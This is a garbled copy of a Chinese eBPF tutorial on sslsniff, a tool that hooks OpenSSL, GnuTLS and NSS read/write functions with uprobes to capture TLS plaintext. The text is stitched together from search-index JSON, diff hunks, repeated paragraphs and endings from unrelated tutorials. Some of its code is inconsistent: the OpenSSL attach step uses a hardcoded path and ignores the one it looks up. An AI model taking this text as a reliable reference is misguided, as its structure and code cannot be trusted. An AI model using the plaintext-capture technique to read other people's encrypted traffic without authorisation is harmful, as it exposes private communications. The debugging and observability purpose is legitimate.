ATTACH_URETPROBE_CHECKED 宏来实现具体的挂载逻辑。这两个宏分别用于设置 uprobe(函数入口)和 uretprobe(函数返回)。 考虑到不同的库有不同的 API 函数名称(例如,OpenSSL 使用 SSL_write,而 GnuTLS 使用 gnutls_record_send),所以我们需要为每个库写一个独立的 attach_ 函数。 例如,在 attach_openssl 函数中,我们为 SSL_write 和 SSL_read 设置了 probe。如果用户还希望追踪握手的延迟 (env.latency) 和握手过程 (env.handshake),那么我们还会为 SSL_do_handshake 设置 probe。 在eBPF生态系统中,perf_buffer是一个用于从内核态传输数据到用户态的高效机制。这对于内核态eBPF程序来说是十分有用的,因为它们不能直接与用户态进行交互。使用perf_buffer,我们可以在内核态eBPF程序中收集数据,然后在用户态异步地读取这些数据。我们使用 perf_buffer__poll 函数来读取内核态上报的数据,如下所示: while (!exiting) { err = perf_buffer__poll(pb, PERF_POLL_TIMEOUT_MS); if (err < 0 && err != -EINTR) { warn(\"error polling perf buffer: %s\\n\", strerror(-err)); goto cleanup; } err = 0; } 最后,在 print_event 函数中,我们将数据打印到标准输出: // Function to print the event from the perf buffer\nvoid print_event(struct probe_SSL_data_t *event, const char *evt) { ... if (buf_size != 0) { if (env.hexdump) { // 2 characters for each byte + null terminator char hex_data[MAX_BUF_SIZE * 2 + 1] = {0}; buf_to_hex((uint8_t *)buf, buf_size, hex_data); printf(\"\\n%s\\n\", s_mark); for (size_t i = 0; i < strlen(hex_data); i += 32) { printf(\"%.32s\\n\", hex_data + i); } printf(\"%s\\n\\n\", e_mark); } else { printf(\"\\n%s\\n%s\\n%s\\n\\n\", s_mark, buf, e_mark); } }\n} 完整的源代码可以在这里查看: https://github.com/eunomia-bpf/bpf-developer-tutorial/tree/main/src/30-sslsniff","breadcrumbs":"使用 eBPF 用户态捕获多种库的 SSL/TLS 明文数据 » 2. 详细挂载逻辑","id":"195","title":"2. 详细挂载逻辑"},"196":{"body":"要开始使用 sslsniff,首先要进行编译: make 完成后,请按照以下步骤操作:","breadcrumbs":"使用 eBPF 用户态捕获多种库的 SSL/TLS 明文数据 » 编译与运行","id":"196","title":"编译与运行"},"197":{"body":"在一个终端中,执行以下命令来启动 sslsniff: sudo ./sslsniff","breadcrumbs":"使用 eBPF 用户态捕获多种库的 SSL/TLS 明文数据 » 启动 sslsniff","id":"197","title":"启动 sslsniff"},"198":{"body":"在另一个终端中,执行: curl https://example.com 正常情况下,你会看到类似以下的输出: Example Domain ... ... ","breadcrumbs":"使用 eBPF 用户态捕获多种库的 SSL/TLS 明文数据 » 执行 CURL 命令","id":"198","title":"执行 CURL 命令"},"199":{"body":"当执行 curl 命令后,sslsniff 会显示以下内容: READ/RECV 0.132786160 curl 47458 1256 ----- DATA ----- ... Example Domain ...
随着TLS在现代网络环境中的广泛应用,跟踪微服务RPC消息已经变得愈加棘手。传统的流量嗅探技术常常受限于只能获取到加密后的数据,导致无法真正观察到通信的原始内容。这种限制为系统的调试和分析带来了不小的障碍。
但现在,我们有了新的解决方案。
eBPF技术,通过其能力在用户空间进行探测,提供了一种方法重新获得明文数据,使得我们可以直观地查看加密前的通信内容。然而,每个应用可能使用不同的库,每个库都有多个版本,这种多样性给跟踪带来了复杂性。
在本教程中,我们将带您了解一种跨多种条件的技术,它不仅可以同时跟踪 GnuTLS 和 OpenSSL 等用户态库,而且相比以往,大大降低了对新版本库的维护工作。
但现在,我们有了新的解决方案。使用 eBPF 技术,通过其能力在用户空间进行探测,提供了一种方法重新获得明文数据,使得我们可以直观地查看加密前的通信内容。然而,每个应用可能使用不同的库,每个库都有多个版本,这种多样性给跟踪带来了复杂性。
在本教程中,我们将带您了解一种跨多种用户态 SSL/TLS 库的 eBPF 追踪技术,它不仅可以同时跟踪 GnuTLS 和 OpenSSL 等用户态库,而且相比以往,大大降低了对新版本库的维护工作。
在深入本教程的主题之前,我们需要理解一些核心概念,这些概念将为我们后面的讨论提供基础。
Transport Layer Security (TLS) 是一个密码学协议,旨在为计算机网络上的通信提供安全性。它主要目标是通过密码学,例如证书的使用,为两个或更多通信的计算机应用程序提供安全性,包括隐私(机密性)、完整性和真实性。TLS 由两个子层组成:TLS 记录协议和TLS 握手协议。
当客户端与启用了TLS的服务器连接并请求建立安全连接时,握手过程开始。握手允许客户端和服务器通过不对称密码来建立连接的安全性参数:
当客户端与启用了TLS的服务器连接并请求建立安全连接时,握手过程开始。握手允许客户端和服务器通过不对称密码来建立连接的安全性参数,完整流程如下:
一旦上述步骤成功完成,握手过程便结束,加密的连接开始。此连接使用会话密钥进行加密和解密,直到连接关闭。如果上述任何步骤失败,则TLS握手失败,连接将不会建立。
TLS和SSL不完全适合OSI模型或TCP/IP模型的任何单一层次。TLS在“某些可靠的传输协议(例如,TCP)之上运行”,这意味着它位于传输层之上。它为更高的层提供加密,这通常是表示层的功能。但是,使用TLS的应用程序通常视其为传输层,即使使用TLS的应用程序必须积极控制启动TLS握手和交换的认证证书的处理。
TLS 和 SSL 不完全适合 OSI 模型或 TCP/IP 模型的任何单一层次。TLS 在“某些可靠的传输协议(例如,TCP)之上运行”,这意味着它位于传输层之上。它为更高的层提供加密,这通常是表示层的功能。但是,使用TLS 的应用程序通常视其为传输层,即使使用TLS的应用程序必须积极控制启动 TLS 握手和交换的认证证书的处理。
eBPF (Extended Berkeley Packet Filter): 是一种内核技术,允许用户在内核空间中运行预定义的程序,不需要修改内核源代码或重新加载模块。它创建了一个桥梁,使得用户空间和内核空间可以交互,从而为系统监控、性能分析和网络流量分析等任务提供了无前例的能力。
uprobes: 是eBPF的一个重要特性,允许我们在用户空间应用程序中动态地插入探测点,特别适用于跟踪SSL/TLS库中的函数调用。
uprobes 是eBPF的一个重要特性,允许我们在用户空间应用程序中动态地插入探测点,特别适用于跟踪SSL/TLS库中的函数调用。
SSL/TLS协议的实现主要依赖于用户态库。以下是一些常见的库:
OpenSSL 是一个广泛应用的开源库,提供了 SSL 和 TLS 协议的完整实现,并广泛用于各种应用程序中以确保数据传输的安全性。其中,SSL_read() 和 SSL_write() 是两个核心的 API 函数,用于从 TLS/SSL 连接中读取和写入数据。本章节,我们将深入这两个函数,帮助你理解其工作机制。
当我们想从一个已建立的 SSL 连接中读取数据时,可以使用 SSL_read 或 SSL_read_ex 函数。
SSL_read
SSL_read_ex
当我们想从一个已建立的 SSL 连接中读取数据时,可以使用 SSL_read 或 SSL_read_ex 函数。函数原型如下:
int SSL_read_ex(SSL *ssl, void *buf, size_t num, size_t *readbytes); int SSL_read(SSL *ssl, void *buf, int num);
SSL_write 和 SSL_write_ex 会从缓冲区 buf 中将最多 num 字节的数据写入到指定的 ssl 连接中。成功时,SSL_write_ex 会在 *written 中存储实际写入的字节数。
SSL_write
SSL_write_ex
buf
num
ssl
*written
eBPF (扩展伯克利数据包过滤器) 是 Linux 内核中的一个功能强大的编程框架,它允许开发者在不修改内核源代码的情况下,为 Linux 内核动态插入自定义的程序。在我们的例子中,我们使用 eBPF 来 hook ssl_read 和 ssl_write 函数,从而在数据读取或写入 SSL 连接时执行自定义操作。
在我们的例子中,我们使用 eBPF 来 hook ssl_read 和 ssl_write 函数,从而在数据读取或写入 SSL 连接时执行自定义操作。
首先,我们定义了一个数据结构 probe_SSL_data_t 用于在内核态和用户态之间传输数据:
#define MAX_BUF_SIZE 8192 @@ -416,7 +414,6 @@ int BPF_URETPROBE(probe_SSL_do_handshake_exit) { 我们的 eBPF 代码不仅跟踪了 ssl_read 和 ssl_write 的数据传输,还特别关注了 SSL/TLS 的握手过程。这些信息对于深入了解和优化安全连接的性能至关重要。 通过这些 hook 函数,我们可以获得关于握手成功与否、握手所需的时间以及相关的进程信息的数据。这为我们提供了关于系统 SSL/TLS 行为的深入见解,可以帮助我们在需要时进行更深入的分析和优化。 -用户态辅助代码分析 用户态辅助代码分析与解读 在 eBPF 的生态系统中,用户态和内核态代码经常协同工作。内核态代码负责数据的采集,而用户态代码则负责设置、管理和处理这些数据。在本节中,我们将解读上述用户态代码如何配合 eBPF 追踪 SSL/TLS 交互。 1. 支持的库挂载 @@ -599,11 +596,11 @@ WRITE/SEND 0.000000000 curl 16104 24 - + - + @@ -613,11 +610,11 @@ WRITE/SEND 0.000000000 curl 16104 24
我们的 eBPF 代码不仅跟踪了 ssl_read 和 ssl_write 的数据传输,还特别关注了 SSL/TLS 的握手过程。这些信息对于深入了解和优化安全连接的性能至关重要。
ssl_read
ssl_write
通过这些 hook 函数,我们可以获得关于握手成功与否、握手所需的时间以及相关的进程信息的数据。这为我们提供了关于系统 SSL/TLS 行为的深入见解,可以帮助我们在需要时进行更深入的分析和优化。
在 eBPF 的生态系统中,用户态和内核态代码经常协同工作。内核态代码负责数据的采集,而用户态代码则负责设置、管理和处理这些数据。在本节中,我们将解读上述用户态代码如何配合 eBPF 追踪 SSL/TLS 交互。
TODO
SSL (Secure Sockets Layer): 由 Netscape 在 1990 年代早期开发,为网络上的两台机器之间提供数据加密传输。然而,由于某些已知的安全问题,SSL的使用已被其后继者TLS所替代。
TLS (Transport Layer Security): 是 SSL 的继任者,旨在提供更强大和更安全的数据加密方式。TLS 工作通过一个握手过程,在这个过程中,客户端和服务器之间会选择一个加密算法和相应的密钥。一旦握手完成,数据传输开始,所有数据都使用选择的算法和密钥加密。
int SSL_read_ex(SSL *ssl, void *buf, size_t num, size_t *readbytes); +int SSL_read(SSL *ssl, void *buf, int num); +
SSL_read 和 SSL_read_ex 试图从指定的 ssl 中读取最多 num 字节的数据到缓冲区 buf 中。成功时,SSL_read_ex 会在 *readbytes 中存储实际读取到的字节数。
*readbytes
当我们想往一个已建立的 SSL 连接中写入数据时,可以使用 SSL_write 或 SSL_write_ex 函数。
函数原型:
int SSL_write_ex(SSL *s, const void *buf, size_t num, size_t *written); +int SSL_write(SSL *ssl, const void *buf, int num); +
#define MAX_BUF_SIZE 8192 +#define TASK_COMM_LEN 16 + +struct probe_SSL_data_t { + __u64 timestamp_ns; // 时间戳(纳秒) + __u64 delta_ns; // 函数执行时间 + __u32 pid; // 进程 ID + __u32 tid; // 线程 ID + __u32 uid; // 用户 ID + __u32 len; // 读/写数据的长度 + int buf_filled; // 缓冲区是否填充完整 + int rw; // 读或写(0为读,1为写) + char comm[TASK_COMM_LEN]; // 进程名 + __u8 buf[MAX_BUF_SIZE]; // 数据缓冲区 + int is_handshake; // 是否是握手数据 +}; +
我们的目标是 hook 到 SSL_read 和 SSL_write 函数。我们定义了一个函数 SSL_exit 来处理这两个函数的返回值。该函数会根据当前进程和线程的 ID,确定是否需要追踪并收集数据。
SSL_exit
static int SSL_exit(struct pt_regs *ctx, int rw) { + int ret = 0; + u32 zero = 0; + u64 pid_tgid = bpf_get_current_pid_tgid(); + u32 pid = pid_tgid >> 32; + u32 tid = (u32)pid_tgid; + u32 uid = bpf_get_current_uid_gid(); + u64 ts = bpf_ktime_get_ns(); + + if (!trace_allowed(uid, pid)) { + return 0; + } + + /* store arg info for later lookup */ + u64 *bufp = bpf_map_lookup_elem(&bufs, &tid); + if (bufp == 0) + return 0; + + u64 *tsp = bpf_map_lookup_elem(&start_ns, &tid); + if (!tsp) + return 0; + u64 delta_ns = ts - *tsp; + + int len = PT_REGS_RC(ctx); + if (len <= 0) // no data + return 0; + + struct probe_SSL_data_t *data = bpf_map_lookup_elem(&ssl_data, &zero); + if (!data) + return 0; + + data->timestamp_ns = ts; + data->delta_ns = delta_ns; + data->pid = pid; + data->tid = tid; + data->uid = uid; + data->len = (u32)len; + data->buf_filled = 0; + data->rw = rw; + data->is_handshake = false; + u32 buf_copy_size = min((size_t)MAX_BUF_SIZE, (size_t)len); + + bpf_get_current_comm(&data->comm, sizeof(data->comm)); + + if (bufp != 0) + ret = bpf_probe_read_user(&data->buf, buf_copy_size, (char *)*bufp); + + bpf_map_delete_elem(&bufs, &tid); + bpf_map_delete_elem(&start_ns, &tid); + + if (!ret) + data->buf_filled = 1; + else + buf_copy_size = 0; + + bpf_perf_event_output(ctx, &perf_SSL_events, BPF_F_CURRENT_CPU, data, + EVENT_SIZE(buf_copy_size)); + return 0; +} +
这里的 rw 参数标识是读还是写。0 代表读,1 代表写。
rw
trace_allowed
bufs
start_ns
probe_SSL_data_t
注意:我们使用了两个用户返回探针 uretprobe 来分别 hook SSL_read 和 SSL_write 的返回:
uretprobe
SEC("uretprobe/SSL_read") +int BPF_URETPROBE(probe_SSL_read_exit) { + return (SSL_exit(ctx, 0)); // 0 表示读操作 +} + +SEC("uretprobe/SSL_write") +int BPF_URETPROBE(probe_SSL_write_exit) { + return (SSL_exit(ctx, 1)); // 1 表示写操作 +} +
在 SSL/TLS 中,握手(handshake)是一个特殊的过程,用于在客户端和服务器之间建立安全的连接。为了分析此过程,我们 hook 到了 do_handshake 函数,以跟踪握手的开始和结束。
do_handshake
我们使用 uprobe 为 do_handshake 设置一个 probe:
uprobe
+SEC("uprobe/do_handshake") +int BPF_UPROBE(probe_SSL_do_handshake_enter, void *ssl) { + u64 pid_tgid = bpf_get_current_pid_tgid(); + u32 pid = pid_tgid >> 32; + u32 tid = (u32)pid_tgid; + u64 ts = bpf_ktime_get_ns(); + u32 uid = bpf_get_current_uid_gid(); + + if (!trace_allowed(uid, pid)) { + return 0; + } + + /* store arg info for later lookup */ + bpf_map_update_elem(&start_ns, &tid, &ts, BPF_ANY); + return 0; +} +
这段代码的主要功能如下:
pid
tid
ts
uid
同样,我们为 do_handshake 的返回设置了一个 uretprobe:
+SEC("uretprobe/do_handshake") +int BPF_URETPROBE(probe_SSL_do_handshake_exit) { + u32 zero = 0; + u64 pid_tgid = bpf_get_current_pid_tgid(); + u32 pid = pid_tgid >> 32; + u32 tid = (u32)pid_tgid; + u32 uid = bpf_get_current_uid_gid(); + u64 ts = bpf_ktime_get_ns(); + int ret = 0; + + /* use kernel terminology here for tgid/pid: */ + u32 tgid = pid_tgid >> 32; + + /* store arg info for later lookup */ + if (!trace_allowed(tgid, pid)) { + return 0; + } + + u64 *tsp = bpf_map_lookup_elem(&start_ns, &tid); + if (tsp == 0) + return 0; + + ret = PT_REGS_RC(ctx); + if (ret <= 0) // handshake failed + return 0; + + struct probe_SSL_data_t *data = bpf_map_lookup_elem(&ssl_data, &zero); + if (!data) + return 0; + + data->timestamp_ns = ts; + data->delta_ns = ts - *tsp; + data->pid = pid; + data->tid = tid; + data->uid = uid; + data->len = ret; + data->buf_filled = 0; + data->rw = 2; + data->is_handshake = true; + bpf_get_current_comm(&data->comm, sizeof(data->comm)); + bpf_map_delete_elem(&start_ns, &tid); + + bpf_perf_event_output(ctx, &perf_SSL_events, BPF_F_CURRENT_CPU, data, + EVENT_SIZE(0)); + return 0; +} +
此函数的逻辑如下:
PT_REGS_RC(ctx)
bpf_perf_event_output
上述代码片段中,根据环境变量 env 的设定,程序可以选择针对三种常见的加密库(OpenSSL、GnuTLS 和 NSS)进行挂载。这意味着我们可以在同一个工具中对多种库的调用进行追踪。
env
为了实现这一功能,首先利用 find_library_path 函数确定库的路径。然后,根据库的类型,调用对应的 attach_ 函数来将 eBPF 程序挂载到库函数上。
find_library_path
attach_
if (env.openssl) { + char *openssl_path = find_library_path("libssl.so"); + printf("OpenSSL path: %s\n", openssl_path); + attach_openssl(obj, "/lib/x86_64-linux-gnu/libssl.so.3"); + } + if (env.gnutls) { + char *gnutls_path = find_library_path("libgnutls.so"); + printf("GnuTLS path: %s\n", gnutls_path); + attach_gnutls(obj, gnutls_path); + } + if (env.nss) { + char *nss_path = find_library_path("libnspr4.so"); + printf("NSS path: %s\n", nss_path); + attach_nss(obj, nss_path); + } +
这里主要包含 OpenSSL、GnuTLS 和 NSS 三个库的挂载逻辑。NSS 是为组织设计的一套安全库,支持创建安全的客户端和服务器应用程序。它们最初是由 Netscape 开发的,现在由 Mozilla 维护。其他两个库前面已经介绍过了,这里不再赘述。
具体的 attach 函数如下:
#define __ATTACH_UPROBE(skel, binary_path, sym_name, prog_name, is_retprobe) \ + do { \ + LIBBPF_OPTS(bpf_uprobe_opts, uprobe_opts, .func_name = #sym_name, \ + .retprobe = is_retprobe); \ + skel->links.prog_name = bpf_program__attach_uprobe_opts( \ + skel->progs.prog_name, env.pid, binary_path, 0, &uprobe_opts); \ + } while (false) + +int attach_openssl(struct sslsniff_bpf *skel, const char *lib) { + ATTACH_UPROBE_CHECKED(skel, lib, SSL_write, probe_SSL_rw_enter); + ATTACH_URETPROBE_CHECKED(skel, lib, SSL_write, probe_SSL_write_exit); + ATTACH_UPROBE_CHECKED(skel, lib, SSL_read, probe_SSL_rw_enter); + ATTACH_URETPROBE_CHECKED(skel, lib, SSL_read, probe_SSL_read_exit); + + if (env.latency && env.handshake) { + ATTACH_UPROBE_CHECKED(skel, lib, SSL_do_handshake, + probe_SSL_do_handshake_enter); + ATTACH_URETPROBE_CHECKED(skel, lib, SSL_do_handshake, + probe_SSL_do_handshake_exit); + } + + return 0; +} + +int attach_gnutls(struct sslsniff_bpf *skel, const char *lib) { + ATTACH_UPROBE_CHECKED(skel, lib, gnutls_record_send, probe_SSL_rw_enter); + ATTACH_URETPROBE_CHECKED(skel, lib, gnutls_record_send, probe_SSL_write_exit); + ATTACH_UPROBE_CHECKED(skel, lib, gnutls_record_recv, probe_SSL_rw_enter); + ATTACH_URETPROBE_CHECKED(skel, lib, gnutls_record_recv, probe_SSL_read_exit); + + return 0; +} + +int attach_nss(struct sslsniff_bpf *skel, const char *lib) { + ATTACH_UPROBE_CHECKED(skel, lib, PR_Write, probe_SSL_rw_enter); + ATTACH_URETPROBE_CHECKED(skel, lib, PR_Write, probe_SSL_write_exit); + ATTACH_UPROBE_CHECKED(skel, lib, PR_Send, probe_SSL_rw_enter); + ATTACH_URETPROBE_CHECKED(skel, lib, PR_Send, probe_SSL_write_exit); + ATTACH_UPROBE_CHECKED(skel, lib, PR_Read, probe_SSL_rw_enter); + ATTACH_URETPROBE_CHECKED(skel, lib, PR_Read, probe_SSL_read_exit); + ATTACH_UPROBE_CHECKED(skel, lib, PR_Recv, probe_SSL_rw_enter); + ATTACH_URETPROBE_CHECKED(skel, lib, PR_Recv, probe_SSL_read_exit); + + return 0; +} +
我们进一步观察 attach_ 函数,可以看到它们都使用了 ATTACH_UPROBE_CHECKED 和 ATTACH_URETPROBE_CHECKED 宏来实现具体的挂载逻辑。这两个宏分别用于设置 uprobe(函数入口)和 uretprobe(函数返回)。
ATTACH_UPROBE_CHECKED
ATTACH_URETPROBE_CHECKED
考虑到不同的库有不同的 API 函数名称(例如,OpenSSL 使用 SSL_write,而 GnuTLS 使用 gnutls_record_send),所以我们需要为每个库写一个独立的 attach_ 函数。
gnutls_record_send
例如,在 attach_openssl 函数中,我们为 SSL_write 和 SSL_read 设置了 probe。如果用户还希望追踪握手的延迟 (env.latency) 和握手过程 (env.handshake),那么我们还会为 SSL_do_handshake 设置 probe。
attach_openssl
env.latency
env.handshake
SSL_do_handshake
在eBPF生态系统中,perf_buffer是一个用于从内核态传输数据到用户态的高效机制。这对于内核态eBPF程序来说是十分有用的,因为它们不能直接与用户态进行交互。使用perf_buffer,我们可以在内核态eBPF程序中收集数据,然后在用户态异步地读取这些数据。我们使用 perf_buffer__poll 函数来读取内核态上报的数据,如下所示:
perf_buffer__poll
while (!exiting) { + err = perf_buffer__poll(pb, PERF_POLL_TIMEOUT_MS); + if (err < 0 && err != -EINTR) { + warn("error polling perf buffer: %s\n", strerror(-err)); + goto cleanup; + } + err = 0; + } +
最后,在 print_event 函数中,我们将数据打印到标准输出:
// Function to print the event from the perf buffer +void print_event(struct probe_SSL_data_t *event, const char *evt) { + ... + if (buf_size != 0) { + if (env.hexdump) { + // 2 characters for each byte + null terminator + char hex_data[MAX_BUF_SIZE * 2 + 1] = {0}; + buf_to_hex((uint8_t *)buf, buf_size, hex_data); + + printf("\n%s\n", s_mark); + for (size_t i = 0; i < strlen(hex_data); i += 32) { + printf("%.32s\n", hex_data + i); + } + printf("%s\n\n", e_mark); + } else { + printf("\n%s\n%s\n%s\n\n", s_mark, buf, e_mark); + } + } +} +
完整的源代码可以在这里查看:https://github.com/eunomia-bpf/bpf-developer-tutorial/tree/main/src/30-sslsniff
要开始使用 sslsniff,首先要进行编译:
sslsniff
make +
完成后,请按照以下步骤操作:
在一个终端中,执行以下命令来启动 sslsniff:
sudo ./sslsniff +
在另一个终端中,执行:
curl https://example.com +
正常情况下,你会看到类似以下的输出:
<!doctype html> + <html> + <head> + <title>Example Domain</title> + ... + <body> + <div> + ... + </div> + </body> + </html> +
当执行 curl 命令后,sslsniff 会显示以下内容:
curl
READ/RECV 0.132786160 curl 47458 1256 + ----- DATA ----- + <!doctype html> + ... + <div> + <h1>Example Domain</h1> + ... + </div> + </body> + </html> + + ----- END DATA ----- +
注意:显示的 HTML 内容可能会因 example.com 页面的不同而有所不同。
example.com
要查看延迟和握手过程,请执行以下命令:
$ sudo ./sslsniff -l --handshake +OpenSSL path: /lib/x86_64-linux-gnu/libssl.so.3 +GnuTLS path: /lib/x86_64-linux-gnu/libgnutls.so.30 +NSS path: /lib/x86_64-linux-gnu/libnspr4.so +FUNC TIME(s) COMM PID LEN LAT(ms) +HANDSHAKE 0.000000000 curl 6460 1 1.384 WRITE/SEND 0.000115400 curl 6460 24 0.014 +
要以16进制格式显示数据,请执行以下命令:
$ sudo ./sslsniff --hexdump +WRITE/SEND 0.000000000 curl 16104 24 +----- DATA ----- +505249202a20485454502f322e300d0a +0d0a534d0d0a0d0a +----- END DATA ----- + +... +
eBPF 是一个非常强大的技术,它可以帮助我们深入了解系统的工作原理。本教程是一个简单的示例,展示了如何使用 eBPF 来监控 SSL/TLS 通信。如果您对 eBPF 技术感兴趣,并希望进一步了解和实践,可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 和教程网站 https://eunomia.dev/zh/tutorials/。
参考资料:
网络连接本质上是 socket 之间的通讯,eBPF 提供了一个 bpf_msg_redirect_hash 函数,用来将应用发出的包直接转发到对端的 socket,可以极大地加速包在内核中的处理流程。
通过本篇 eBPF 入门实践教程,我们深入了解了如何使用 eBPF 来隐藏进程或文件信息。我们学习了如何编写和加载 eBPF 程序,如何通过 eBPF 拦截系统调用并修改它们的行为,以及如何将这些知识应用到实际的网络安全和防御工作中。此外,我们也了解了 eBPF 的强大性,尤其是它能在不需要修改内核源代码或重启内核的情况下,允许用户在内核中执行自定义代码的能力。
您还可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 或网站 https://eunomia.dev/zh/tutorials/ 以获取更多示例和完整的教程。
完整的源代码可以参考:https://github.com/eunomia-bpf/bpf-developer-tutorial/tree/main/src/25-signal
通过这个实例,我们深入了解了如何将 eBPF 程序与用户态程序相结合,实现对系统调用的监控和干预。eBPF 提供了一种在内核空间执行程序的机制,这种技术不仅限于监控,还可用于性能优化、安全防御、系统诊断等多种场景。对于开发者来说,这为Linux系统的性能调优和故障排查提供了一种强大且灵活的工具。
最后,如果您对 eBPF 技术感兴趣,并希望进一步了解和实践,可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 和教程网站 https://eunomia.dev/zh/tutorials/。
int SSL_write_ex(SSL *s, const void *buf, size_t num, size_t *written); int SSL_write(SSL *ssl, const void *buf, int num);
#define MAX_BUF_SIZE 8192 #define TASK_COMM_LEN 16 @@ -5158,7 +5581,7 @@ struct probe_SSL_data_t { int is_handshake; // 是否是握手数据 };
static int SSL_exit(struct pt_regs *ctx, int rw) { int ret = 0; @@ -5221,7 +5644,7 @@ struct probe_SSL_data_t { }
SEC("uprobe/do_handshake") @@ -5270,7 +5693,7 @@ int BPF_UPROBE(probe_SSL_do_handshake_enter, void *ssl) { 使用 trace_allowed 检查进程是否被允许追踪。 将当前时间戳存储在 start_ns 映射中,用于稍后计算握手过程的持续时间。
SEC("uretprobe/do_handshake") @@ -5332,10 +5755,9 @@ int BPF_URETPROBE(probe_SSL_do_handshake_exit) { 我们的 eBPF 代码不仅跟踪了 ssl_read 和 ssl_write 的数据传输,还特别关注了 SSL/TLS 的握手过程。这些信息对于深入了解和优化安全连接的性能至关重要。 通过这些 hook 函数,我们可以获得关于握手成功与否、握手所需的时间以及相关的进程信息的数据。这为我们提供了关于系统 SSL/TLS 行为的深入见解,可以帮助我们在需要时进行更深入的分析和优化。 -用户态辅助代码分析 -用户态辅助代码分析与解读 +用户态辅助代码分析与解读 在 eBPF 的生态系统中,用户态和内核态代码经常协同工作。内核态代码负责数据的采集,而用户态代码则负责设置、管理和处理这些数据。在本节中,我们将解读上述用户态代码如何配合 eBPF 追踪 SSL/TLS 交互。 -1. 支持的库挂载 +1. 支持的库挂载 上述代码片段中,根据环境变量 env 的设定,程序可以选择针对三种常见的加密库(OpenSSL、GnuTLS 和 NSS)进行挂载。这意味着我们可以在同一个工具中对多种库的调用进行追踪。 为了实现这一功能,首先利用 find_library_path 函数确定库的路径。然后,根据库的类型,调用对应的 attach_ 函数来将 eBPF 程序挂载到库函数上。 if (env.openssl) { @@ -5355,7 +5777,7 @@ int BPF_URETPROBE(probe_SSL_do_handshake_exit) { } 这里主要包含 OpenSSL、GnuTLS 和 NSS 三个库的挂载逻辑。NSS 是为组织设计的一套安全库,支持创建安全的客户端和服务器应用程序。它们最初是由 Netscape 开发的,现在由 Mozilla 维护。其他两个库前面已经介绍过了,这里不再赘述。 -2. 详细挂载逻辑 +2. 详细挂载逻辑 具体的 attach 函数如下: #define __ATTACH_UPROBE(skel, binary_path, sym_name, prog_name, is_retprobe) \ do { \ @@ -5438,16 +5860,16 @@ void print_event(struct probe_SSL_data_t *event, const char *evt) { } 完整的源代码可以在这里查看:https://github.com/eunomia-bpf/bpf-developer-tutorial/tree/main/src/30-sslsniff -编译与运行 +编译与运行 要开始使用 sslsniff,首先要进行编译: make 完成后,请按照以下步骤操作: -启动 sslsniff +启动 sslsniff 在一个终端中,执行以下命令来启动 sslsniff: sudo ./sslsniff -执行 CURL 命令 +执行 CURL 命令 在另一个终端中,执行: curl https://example.com @@ -5464,7 +5886,7 @@ void print_event(struct probe_SSL_data_t *event, const char *evt) { </body> </html>
if (env.openssl) { @@ -5355,7 +5777,7 @@ int BPF_URETPROBE(probe_SSL_do_handshake_exit) { }
#define __ATTACH_UPROBE(skel, binary_path, sym_name, prog_name, is_retprobe) \ do { \ @@ -5438,16 +5860,16 @@ void print_event(struct probe_SSL_data_t *event, const char *evt) { }
make
sudo ./sslsniff
curl https://example.com
READ/RECV 0.132786160 curl 47458 1256 ----- DATA ----- @@ -5480,7 +5902,7 @@ void print_event(struct probe_SSL_data_t *event, const char *evt) { ----- END DATA -----
$ sudo ./sslsniff -l --handshake OpenSSL path: /lib/x86_64-linux-gnu/libssl.so.3 @@ -5489,7 +5911,7 @@ NSS path: /lib/x86_64-linux-gnu/libnspr4.so FUNC TIME(s) COMM PID LEN LAT(ms) HANDSHAKE 0.000000000 curl 6460 1 1.384 WRITE/SEND 0.000115400 curl 6460 24 0.014
$ sudo ./sslsniff --hexdump WRITE/SEND 0.000000000 curl 16104 24 @@ -5500,7 +5922,7 @@ WRITE/SEND 0.000000000 curl 16104 24 ...